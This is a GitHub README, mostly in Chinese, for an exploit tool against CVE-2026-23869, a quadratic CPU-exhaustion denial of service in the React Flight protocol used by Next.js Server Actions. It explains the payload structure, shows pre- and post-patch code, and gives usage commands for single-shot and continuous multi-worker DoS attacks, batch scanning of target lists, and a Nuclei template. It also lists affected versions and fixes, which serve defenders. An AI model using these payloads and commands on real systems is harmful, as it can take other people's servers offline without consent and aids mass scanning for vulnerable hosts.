cybertechajju/CVE-2026-23869-Exploit
GitHub: cybertechajju/CVE-2026-23869-Exploit
这是一个针对 React 和 Next.js 中 Flight 协议反序列化漏洞的自动化利用工具,能够通过特制请求引发服务器 CPU 二次方耗尽,从而实施拒绝服务攻击。
Stars: 5 | Forks: 1
⚡ CVE-2026-23869 — React2DoS
通过 React Flight 协议实现的未认证远程拒绝服务
服务端组件 Map 反序列化中的二次方 CPU 消耗
概述 •
工作原理 •
工具 •
安装 •
使用 •
Nuclei •
修复 •
免责声明
## 漏洞概述
| 字段 | 详情 |
|-------|--------|
| **CVE ID** | CVE-2026-23869 |
| **别名** | React2DoS |
| **CVSS 评分** | 7.5 (高危) |
| **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` |
| **CWE** | CWE-400 (非受控的资源消耗) |
| **类型** | 未认证远程拒绝服务 |
| **发现者** | Yohann Sillam (Imperva 威胁研究) |
| **受影响版本** | `react-server-dom-webpack` / `parcel` / `turbopack` ≤ 19.2.4 |
| **已修复版本** | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
React Server Components 的 **Flight 协议** 反序列化中存在一个严重的拒绝服务漏洞。未经身份认证的攻击者可以向任何 Next.js App Router **Server Action** 端点发送单个特制的 HTTP 请求,导致**二次方 O(n²) CPU 耗尽**,从而使服务器锁定数分钟。
### 参考资料
- [Vercel 官方公告](https://vercel.com/changelog/summary-of-cve-2026-23869)
- [Imperva 技术分析 — "React2DoS"](https://www.imperva.com/blog/react2dos-cve-2026-23869-when-the-flight-protocol-crashes-at-takeoff/)
- [React 修复 PR #36236](https://github.com/facebook/react/pull/36236)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-23869)
## 工作原理
### 漏洞:Map 反序列化中缺少 `consumed` 标志
React Flight 协议使用特殊标记来序列化数据类型。`$Q` 代表 **Map** 对象。当服务器接收到包含自引用 `$Q0` 标记的 payload 时:
```
Payload: [ [1,1], [1,1], ...(n valid entries)..., "$Q0", "$Q0", ...(n refs)... ]
```
**每一个 `$Q0`** 都会触发一个 `new Map()` 构造函数,该构造函数会遍历**所有 n 个有效条目**。Map 构造函数会抛出错误(因为条目格式错误),但关键的漏洞在于:**失败时从未设置 `consumed` 标志**。
这意味着**下一个 `$Q0`** 会从头重新计算完全相同的 Map → 产生 **O(n²)** 复杂度:
```
n valid entries × n $Q0 references = n² Map constructor calls
Example: 65,000 × 65,000 = 4,225,000,000 operations
Result: Single request locks CPU for 5-10+ minutes
```
### 攻击流程
```
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Attacker │ ──────────────────────────────────────▶ │ Next.js Server │
│ │ Header: Next-Action:
│ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% LOCKED │
└──────────┘ │ for ~5-10 min │
└──────────────────┘
```
### 漏洞代码(修复前)
```
// ReactFlightReplyServer.js — BEFORE patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Fails but doesn't set consumed = true
// Next $Q0 recomputes from scratch
}
```
### 修复代码(修复后)
```
// ReactFlightReplyServer.js — AFTER patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Fix: set flag BEFORE construction
return new Map(data); // Prevents repeated recomputation
}
```
## 包含工具
| 文件 | 描述 |
|------|-------------|
| `poc.py` | 具有 4 阶段流水线的全自动利用工具(Recon → Extract → Detect → Exploit) |
| `CVE-2026-23869.yaml` | 具有基于流编排功能的 Nuclei 检测模板 |
| `scan.sh` | 封装脚本:httpx 实时过滤 + nuclei 扫描 |
| `extract-action-ids.sh` | 独立的 Server Action ID 提取器 |
## 安装
```
# 克隆存储库
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# 安装 Python 依赖
pip install requests
# 赋予脚本执行权限
chmod +x poc.py scan.sh extract-action-ids.sh
```
### 可选依赖
```
# 用于 Nuclei 模板扫描
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 用于实时目标过滤
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
```
## 使用
### 🔥 全自动扫描(单个目标)
只需提供 URL —— 工具会自动执行所有操作:
```
python3 poc.py -u https://target.com
```
**执行过程:**
1. **阶段 1 — 侦察 (Recon):** 指纹识别 Next.js(headers、HTML 标记、build ID)
2. **阶段 2 — 提取:** 从 JS bundles 中查找 Server Action IDs
3. **阶段 3 — 检测:** 安全的基于时间的漏洞检查(500 条目探测)
4. **阶段 4 — 报告:** 显示漏洞判定结果及时间分析
### 📋 批量扫描(多个目标)
```
# 扫描域名/IP列表
python3 poc.py -L targets.txt
# 输出 JSON 报告
python3 poc.py -L targets.txt -o results.json
```
### 🎯 手动模式(已知 Action ID)
```
# 仅安全检测
python3 poc.py -u https://target.com -a --detect
# 单次利用
python3 poc.py -u https://target.com -a --single
# 持续 DoS (10 workers)
python3 poc.py -u https://target.com -a --exploit -w 10
```
### 🔍 仅提取 Action IDs
```
python3 poc.py -u https://target.com --extract
```
### ⚙️ 所有选项
```
Options:
-u, --url URL Target URL (single target)
-L, --list FILE File with target URLs/IPs (one per line)
-a, --action-id ID Server Action ID (skip auto-extraction)
--detect Detection only — safe, non-destructive (default)
--single Single-shot exploit after detection
--exploit Continuous DoS after detection
--extract Only extract action IDs
-l, --length N Payload entries (default: 130000)
-w, --workers N Concurrent workers (default: 5)
-d, --delay SEC Delay between requests (default: 1.0)
-o, --output FILE Save JSON report
-t, --threads N Concurrent targets for list scan (default: 3)
```
### 向后兼容性
原始 PoC 语法仍然有效:
```
python3 poc.py
```
## Nuclei 模板
### 快速扫描
```
# 单个目标
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# 多个目标
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# 仅输出干净结果 (仅漏洞结果)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
```
### 模板检测流程
```
Request 1 (GET /) → Fingerprint Next.js (headers + HTML markers)
Request 2 (GET /) → Extract Server Action IDs from createServerReference()
Request 3 (POST /) → Baseline timing request (benign payload)
Request 4 (POST /) → Exploit probe (250 valid + 250 $Q0 entries)
└─ If response time ≥ 3s → VULNERABLE
```
### 自动扫描脚本
```
# 运行 httpx → 过滤实时目标 → nuclei 扫描 → 结果
./scan.sh
# 或指定自定义文件
./scan.sh targets1.txt targets2.txt
```
## 检测逻辑
该工具使用**基于时间的检测**来安全地识别易受攻击的服务器:
| 指标 | 易受攻击 | 已修复 |
|--------|-----------|---------|
| 基线(正常请求) | ~0.1-0.5s | ~0.1-0.5s |
| 探测(500 条目) | **3-10+ 秒** | ~0.1-0.5s |
| 比率(探测/基线) | **>5x** | ~1x |
| 完整 payload(130K 条目) | **5-10+ 分钟** | ~0.1-0.5s |
在以下情况下确认检测到漏洞:
- 探测响应时间 **≥ 3 秒**,或者
- 探测时间 **> 1 秒** 且 探测/基线比率 **> 5x**
## 受影响版本
| 包 | 易受攻击 | 已修复 |
|---------|-----------|-------|
| `react-server-dom-webpack` | ≤ 19.2.4 | 19.2.5+ |
| `react-server-dom-parcel` | ≤ 19.2.4 | 19.2.5+ |
| `react-server-dom-turbopack` | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |
## 修复建议
1. **升级 React** 到版本 **19.2.5** 或更高版本
2. **升级 Next.js** 到版本 **15.5.15** 或 **16.2.3** 或更高版本
3. **WAF 规则:** 拦截包含 `$Q` 标记且异常大的 `multipart/form-data` body 的请求
4. **速率限制:** 在 Server Action 端点上实施速率限制
5. **监控:** 针对与向 `/` 发送 POST 请求相关的高 CPU 使用率设置警报
## 项目结构
```
CVE-2026-23869-Exploit/
├── README.md # This file
├── poc.py # Full-auto PoC exploit tool
├── CVE-2026-23869.yaml # Nuclei detection template
├── scan.sh # httpx + nuclei auto-scanner
└── extract-action-ids.sh # Standalone action ID extractor
```
## 截图
### 全自动扫描
```
╔══════════════════════════════════════════════════╗
║ PHASE 1 ▸ RECONNAISSANCE ║
╚══════════════════════════════════════════════════╝
✓ Next.js detected (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions detected
╔══════════════════════════════════════════════════╗
║ PHASE 2 ▸ ACTION ID EXTRACTION ║
╚══════════════════════════════════════════════════╝
✓ Found 3 Action ID(s):
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ PHASE 3 ▸ VULNERABILITY DETECTION ║
╚══════════════════════════════════════════════════╝
[1/2] Baseline: 0.142s
[2/2] Probe: 7.891s (55.6x baseline)
██ VULNERABLE — CVE-2026-23869 CONFIRMED ██
```
### 批量扫描结果
```
╔══════════════════════════════════════════════════════════════╗
║ BATCH SCAN RESULTS ║
╚══════════════════════════════════════════════════════════════╝
Scanned : 150 targets in 45.2s
Vulnerable : 3
Patched : 12
Skipped : 135
🔴 VULNERABLE TARGETS
─────────────────────────────────────────────────
# TARGET PROBE RATIO
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
```
## 免责声明
## 致谢
- **漏洞研究:** [Yohann Sillam](https://www.imperva.com/blog/react2dos-cve-2026-23869-when-the-flight-protocol-crashes-at-takeoff/) — Imperva 威胁研究
- **PoC 开发:** [cybertechajju](https://github.com/cybertechajju)
- **React 修复:** [Facebook/Meta React 团队](https://github.com/facebook/react/pull/36236)
如果你觉得这个项目有用,请考虑给它一个 ⭐
标签:Cutter, CVE-2026-23869, CWE-400, DoS, Exploit, Flight协议, Nuclei模板, PoC, Quadratic CPU Exhaustion, React, React Server Components, RSC, Server Actions, Syscalls, Web安全, 反序列化, 威胁模拟, 拒绝服务, 无服务器架构, 暴力破解, 网络安全, 蓝队分析, 资源耗尽, 逆向工具, 隐私保护